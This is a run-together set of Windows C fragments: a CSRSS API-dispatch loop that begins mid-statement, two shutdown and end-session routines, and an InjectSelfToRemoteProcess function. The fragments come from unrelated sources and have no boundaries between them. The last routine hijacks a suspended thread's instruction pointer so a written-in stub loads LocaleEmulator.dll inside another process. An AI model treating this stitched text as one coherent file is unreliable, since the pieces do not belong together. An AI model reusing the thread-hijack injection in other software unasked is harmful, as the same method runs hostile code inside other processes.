else if (MessageType == LPC_REQUEST) { /* This is an API Message coming from a non-CSR Thread */ ReplyMsg = &ReceiveMsg; ReplyPort = CsrApiPort; ReplyMsg->Status = STATUS_ILLEGAL_FUNCTION; } else if (MessageType == LPC_DATAGRAM) { /* This is an API call, get the Server ID */ ServerId = CSR_API_NUMBER_TO_SERVER_ID(ReceiveMsg.ApiNumber); /* Make sure that the ID is within limits, and the Server DLL loaded */ ServerDll = NULL; if ((ServerId >= CSR_SERVER_DLL_MAX) || (!(ServerDll = CsrLoadedServerDll[ServerId]))) { /* We are beyond the Maximum Server ID */ DPRINT1("CSRSS: %lx is invalid ServerDllIndex (%08x)\n", ServerId, ServerDll); // DbgBreakPoint(); ReplyMsg = NULL; ReplyPort = CsrApiPort; continue; } /* Get the API ID, normalized with our Base ID */ ApiId = CSR_API_NUMBER_TO_API_ID(ReceiveMsg.ApiNumber) - ServerDll->ApiBase; /* Make sure that the ID is within limits, and the entry exists */ if (ApiId >= ServerDll->HighestApiSupported) { /* We are beyond the Maximum API ID, or it doesn't exist */ DPRINT1("CSRSS: %lx is invalid ApiTableIndex for %Z\n", CSR_API_NUMBER_TO_API_ID(ReceiveMsg.ApiNumber), &ServerDll->Name); ReplyPort = CsrApiPort; ReplyMsg = NULL; continue; } #ifdef CSR_DBG if (CsrDebug & 2) { DPRINT1("[%02x] CSRSS: [%02x,%02x] - %s Api called from %08x\n", Teb->ClientId.UniqueThread, ReceiveMsg.Header.ClientId.UniqueProcess, ReceiveMsg.Header.ClientId.UniqueThread, ServerDll->NameTable[ApiId], NULL); } #endif /* Assume success */ ReceiveMsg.Status = STATUS_SUCCESS; /* Validation complete, start SEH */ _SEH2_TRY { /* Make sure we have enough threads */ CsrpCheckRequestThreads(); /* Call the API and get the reply code */ ReplyMsg = NULL; ReplyPort = CsrApiPort; ServerDll->DispatchTable[ApiId](&ReceiveMsg, &ReplyCode); /* Increase the static thread count */ InterlockedIncrementUL(&CsrpStaticThreadCount); } _SEH2_EXCEPT(CsrUnhandledExceptionFilter(_SEH2_GetExceptionInformation())) { ReplyMsg = NULL; ReplyPort = CsrApiPort; } _SEH2_END; } else {
NTSTATUS _ExitWindowsEx( PCSR_THREAD pcsrt, UINT dwFlags, DWORD dwReserved) { BOOL fDoEndSession = FALSE; LUID luidCaller; NTSTATUS Status = STATUS_SUCCESS; UNREFERENCED_PARAMETER(dwReserved); if ((dwFlags & EWX_REBOOT) || (dwFlags & EWX_POWEROFF)) { dwFlags |= EWX_SHUTDOWN; } /* * Find out the callers sid. Only want to shutdown processes in the * callers sid. */ if (!CsrImpersonateClient(NULL)) { return STATUS_BAD_IMPERSONATION_LEVEL; } Status = CsrGetProcessLuid(NULL, &luidCaller); if (!NT_SUCCESS(Status)) { CsrRevertToSelf(); return Status; } try { while (1) { LARGE_INTEGER li; LeaveCrit(); Status = NtUserSetInformationThread( pcsrt->ThreadHandle, UserThreadInitiateShutdown, &dwFlags, sizeof(dwFlags)); EnterCrit(); switch (Status) { case STATUS_PENDING: /* * The logoff/shutdown is in progress and nothing * more needs to be done. */ goto fastexit; case STATUS_RETRY: /* * Another logoff/shutdown is in progress and we need * to cancel it so we can do an override. * * if someone else is trying to cancel shutdown, exit */ li.QuadPart = 0; if (NtWaitForSingleObject(heventCancel, FALSE, &li) == 0) { Status = STATUS_PENDING; goto fastexit; } /* * Cancel the old shutdown */ NtClearEvent(heventCancelled); NtSetEvent(heventCancel, NULL); /* * Wait for the other guy to be cancelled */ LeaveCrit(); NtWaitForSingleObject(heventCancelled, FALSE, NULL); EnterCrit(); /* * This signals that we are no longer trying to cancel a * shutdown */ NtClearEvent(heventCancel); continue; case STATUS_CANT_WAIT: /* * There is no notify window and the calling thread has * windows that prevent this request from succeeding. * The client handles this by starting another thread * to recall ExitWindowsEx. */ goto fastexit; default: if (!NT_SUCCESS(Status)) goto fastexit; } break; } gdwFlags = dwFlags; dwThreadEndSession = (DWORD)pcsrt->ClientId.UniqueThread; fDoEndSession = TRUE; /* * Sometimes the console calls the dialog box when not in shutdown * if now is one of those times cancel the dialog box. */ while (gcInternalDoEndTaskDialog > 0) { LARGE_INTEGER li; NtPulseEvent(heventCancel, NULL); LeaveCrit(); li.QuadPart = (LONGLONG)-10000 * CMSSLEEP; NtDelayExecution(FALSE, &li); EnterCrit(); } /* * Call csr to loop through the processes shutting them down. */ LeaveCrit(); Status = CsrShutdownProcesses(&luidCaller, dwFlags); NtUserSetInformationThread( pcsrt->ThreadHandle, UserThreadEndShutdown, &Status, sizeof(Status)); EnterCrit(); fastexit:; } finally { /* * Only turn off dwThreadEndSession if this is the * thread doing shutdown. */ if (fDoEndSession) { dwThreadEndSession = 0; NtSetEvent(heventCancelled, NULL); } } CsrRevertToSelf(); return Status; }
DWORD MySendEndSessionMessages( HWND hwnd, PCSR_THREAD pcsrt, BOOL fEndTask, DWORD dwClientFlags) { HWND hwndOwner; LARGE_INTEGER li; DWORD dwRet; int cLoops; int cSeconds; WCHAR achName[CCHBODYMAX]; BOOL fPostedClose; BOOL fDialogFirst; DWORD dwFlags; DWORD dwHungApp; HANDLE hNull = NULL; NTSTATUS Status; /* * We've got a random top level window for this application. Find the * root owner, because that's who we want to send the WM_CLOSE to. */ while ((hwndOwner = GetWindow(hwnd, GW_OWNER)) != NULL) hwnd = hwndOwner; /* * We expect this application to process this shutdown request, * so make it the foreground window so it has foreground priority. * This won't leave the critical section. */ SetForegroundWindow(hwnd); /* * Send the WM_CLIENTSHUTDOWN message for end-session. When the app * receives this, it'll then get WM_QUERYENDSESSION and WM_ENDSESSION * messages. */ if (!fEndTask) { USERTHREAD_FLAGS Flags; Flags.dwFlags = 0; Flags.dwMask = (TIF_SHUTDOWNCOMPLETE | TIF_ALLOWSHUTDOWN); LeaveCrit(); Status = NtUserSetInformationThread(pcsrt->ThreadHandle, UserThreadFlags, &Flags, sizeof(Flags)); EnterCrit(); if (!NT_SUCCESS(Status)) return CMDEND_APPSAYSOK; SendNotifyMessage(hwnd, WM_CLIENTSHUTDOWN, dwClientFlags, 0); } /* * If the main window is disabled, bring up the end-task window first, * right away, only if this the WM_CLOSE case. */ fDialogFirst = FALSE; if (fEndTask && (GetWindowLong(hwnd, GWL_STYLE) & WS_DISABLED)) fDialogFirst = TRUE; fPostedClose = FALSE; while (TRUE) { if (fEndTask) { cLoops = (CMSHUNGAPPTIMEOUT / CMSSLEEP); cSeconds = (CMSHUNGAPPTIMEOUT / 1000); } else { cLoops = (CMSWAITTOKILLTIMEOUT / CMSSLEEP); cSeconds = (CMSWAITTOKILLTIMEOUT / 1000); } /* * If end-task and not shutdown, must give this app a WM_CLOSE * message. Can't do this if it has a dialog up because it is in * the wrong processing loop. We detect this by seeing if the window * is disabled - if it is, we don't send it a WM_CLOSE and instead * bring up the end task dialog right away (this is exactly compatible * with win3.1 taskmgr.exe). */ if (fEndTask) { if (!fPostedClose && IsWindow(hwnd) && !(GetWindowLong(hwnd, GWL_STYLE) & WS_DISABLED)) { PostMessage(hwnd, WM_CLOSE, 0, 0L); fPostedClose = TRUE; } } /* * Every so often wake up to see if the app is hung, and if not go * back to sleep until we've run through our timeout. */ while (cLoops--) { /* * If a WM_QUERY/ENDSESSION has been answered to, return. */ if (!fEndTask) { LeaveCrit(); NtUserQueryInformationThread(pcsrt->ThreadHandle, UserThreadFlags, &dwFlags, sizeof(DWORD), NULL); EnterCrit(); if (dwFlags & TIF_SHUTDOWNCOMPLETE) { if (dwFlags & TIF_ALLOWSHUTDOWN) return CMDEND_APPSAYSOK; return CMDEND_APPSAYSNOTOK; } } /* * If the thread is gone, we're done. */ if (pcsrt->Flags & CSR_THREAD_DESTROYED) { return CMDEND_APPSAYSOK; } /* * If the dialog should be brought up first (because the window * was initially disabled), do it. */ if (fDialogFirst) { fDialogFirst = FALSE; break; } /* * if we we're externally cancelled get out */ li.QuadPart = 0; if (NtWaitForSingleObject(heventCancel, FALSE, &li) == 0) { /* * !!! JimA - We may want to call the kernel to * set TIF_SHUTDOWNCOMPLETE in this case. */ return CMDEND_USERSAYSCANCEL; } /* * If hung, bring up the endtask dialog right away. */ dwHungApp = (fEndTask ? CMSHUNGAPPTIMEOUT : CMSWAITTOKILLTIMEOUT); LeaveCrit(); Status = NtUserQueryInformationThread(pcsrt->ThreadHandle, UserThreadHungStatus, &dwHungApp, sizeof(dwHungApp), NULL); EnterCrit(); if (!NT_SUCCESS(Status) || dwHungApp == TRUE) break; /* * Sleep for a second. */ LeaveCrit(); li.QuadPart = (LONGLONG)-10000 * CMSSLEEP; NtDelayExecution(FALSE, &li); EnterCrit(); } achName[0] = 0; if (IsWindow(hwnd)) { GetWindowText(hwnd, achName, CCHMSGMAX); } /* * If there's a hard error, put it on top. */ BoostHardError((DWORD)pcsrt->ClientId.UniqueProcess, FALSE); if (achName[0] == 0) { /* * If the thread is gone, we're done. */ if (pcsrt->Flags & CSR_THREAD_DESTROYED) { return CMDEND_APPSAYSOK; } /* * pti is valid right now. Use the name in the pti. */ LeaveCrit(); NtUserQueryInformationThread(pcsrt->ThreadHandle, UserThreadTaskName, achName, CCHMSGMAX * sizeof(WCHAR), NULL); EnterCrit(); } /* * Set this thread to use the desktop of the * thread being shutdown. */ if (NT_SUCCESS(NtUserSetInformationThread(NtCurrentThread(), UserThreadUseDesktop, &pcsrt->ThreadHandle, sizeof(HANDLE)))) { /* * Bring up the dialog */ dwRet = DoEndTaskDialog(achName, pcsrt, TYPE_THREADINFO, cSeconds); /* * Release the desktop that was used. */ NtUserSetInformationThread(NtCurrentThread(), UserThreadUseDesktop, &hNull, sizeof(HANDLE)); } else { /* * We were unable to get the thread's desktop. All we * can do is kill the task. */ dwRet = IDABORT; } switch(dwRet) { case IDCANCEL: /* * Cancel the shutdown process... Get out of here. Signify that * we're cancelling the shutdown request. * * !!! JimA - We may want to call the kernel to * set TIF_SHUTDOWNCOMPLETE in this case. */ return CMDEND_USERSAYSCANCEL; break; case IDABORT: /* * End this guy's task... */ BoostHardError((DWORD)pcsrt->ClientId.UniqueProcess, TRUE); /* * !!! JimA - We may want to call the kernel to * set TIF_SHUTDOWNCOMPLETE in this case. */ return CMDEND_USERSAYSKILL; break; case IDRETRY: /* * Just continue to wait. Reset this app so it doesn't think it's * hung. This'll cause us to wait again. */ if (!(pcsrt->Flags & CSR_THREAD_DESTROYED)) { LeaveCrit(); NtUserSetInformationThread(pcsrt->ThreadHandle, UserThreadHungStatus, NULL, 0); EnterCrit(); } fPostedClose = FALSE; break; } } }
NTSTATUS InjectSelfToRemoteProcess(HANDLE hProcess, HANDLE hThread) { NTSTATUS Status; PVOID pvBuffer; DWORD Length; WCHAR szSelfPath[MAX_PATH]; CONTEXT ThreadContext; LARGE_INTEGER TimeOut; INJECT_DLL_CURRENT_THREAD inj; ThreadContext.ContextFlags = CONTEXT_CONTROL; Status = NtGetContextThread(hThread, &ThreadContext); if (!NT_SUCCESS(Status)) { // BaseSetLastNTError(Status); // PrintError(RtlGetLastWin32Error()); return Status; } // PrintConsoleW(L"Eip = %08X\n", ThreadContext.Eip); // getch(); Length = Nt_GetExeDirectory(szSelfPath, countof(szSelfPath)); if (Length == NULL) return STATUS_UNSUCCESSFUL; static WCHAR szDll[] = L"LocaleEmulator.dll"; StrCopyW(szSelfPath + Length, szDll); Length += CONST_STRLEN(szDll); pvBuffer = NULL; Status = Nt_AllocateMemory(hProcess, &pvBuffer, MEMORY_PAGE_SIZE); if (!NT_SUCCESS(Status)) { // BaseSetLastNTError(Status); // PrintError(RtlGetLastWin32Error()); return Status; } Length *= sizeof(WCHAR); inj.pfLdrLoadDll = LdrLoadDll; inj.ReturnAddr = ThreadContext.Eip; inj.ModuleFileName.Length = Length; inj.ModuleFileName.MaximumLength = Length + sizeof(WCHAR); inj.ModuleFileName.Buffer = (LPWSTR)((ULONG_PTR)pvBuffer + sizeof(inj)); Status = STATUS_UNSUCCESSFUL; LOOP_ONCE { Status = Nt_WriteMemory(hProcess, pvBuffer, &inj, sizeof(inj)); if (!NT_SUCCESS(Status)) break; Length += sizeof(WCHAR); Status = Nt_WriteMemory(hProcess, (PVOID)((ULONG_PTR)pvBuffer + sizeof(inj)), szSelfPath, Length); if (!NT_SUCCESS(Status)) break; ThreadContext.Eip = (DWORD)(PBYTE)pvBuffer + sizeof(inj) + Length; Status = Nt_WriteMemory( hProcess, (PVOID)ThreadContext.Eip, LoadExternDll, (ULONG_PTR)_LoadExternDllEnd - (ULONG_PTR)LoadExternDll ); if (!NT_SUCCESS(Status)) break; Status = NtSetContextThread(hThread, &ThreadContext); if (!NT_SUCCESS(Status)) break; Status = NtResumeThread(hThread, NULL); if (!NT_SUCCESS(Status)) break; BaseFormatTimeOut(&TimeOut, 500); for (DWORD TryTimes = 30; TryTimes; --TryTimes) { DWORD Val; Status = Nt_ReadMemory(hProcess, pvBuffer, &Val, sizeof(Val)); if (!NT_SUCCESS(Status)) break; if (Val != 0) { NtDelayExecution(FALSE, &TimeOut); continue; } break; } if (!NT_SUCCESS(Status)) break; NtDelayExecution(FALSE, &TimeOut); Status = NtGetContextThread(hThread, &ThreadContext); if (!NT_SUCCESS(Status)) break; if ((ULONG_PTR)ThreadContext.Eip < (ULONG_PTR)pvBuffer || (ULONG_PTR)ThreadContext.Eip > (ULONG_PTR)pvBuffer + MEMORY_PAGE_SIZE) { Status = STATUS_SUCCESS; } else { Status = STATUS_UNSUCCESSFUL; } } // BaseSetLastNTError(Status); // PrintError(RtlGetLastWin32Error()); // Nt_FreeMemory(hProcess, pvBuffer); return Status; }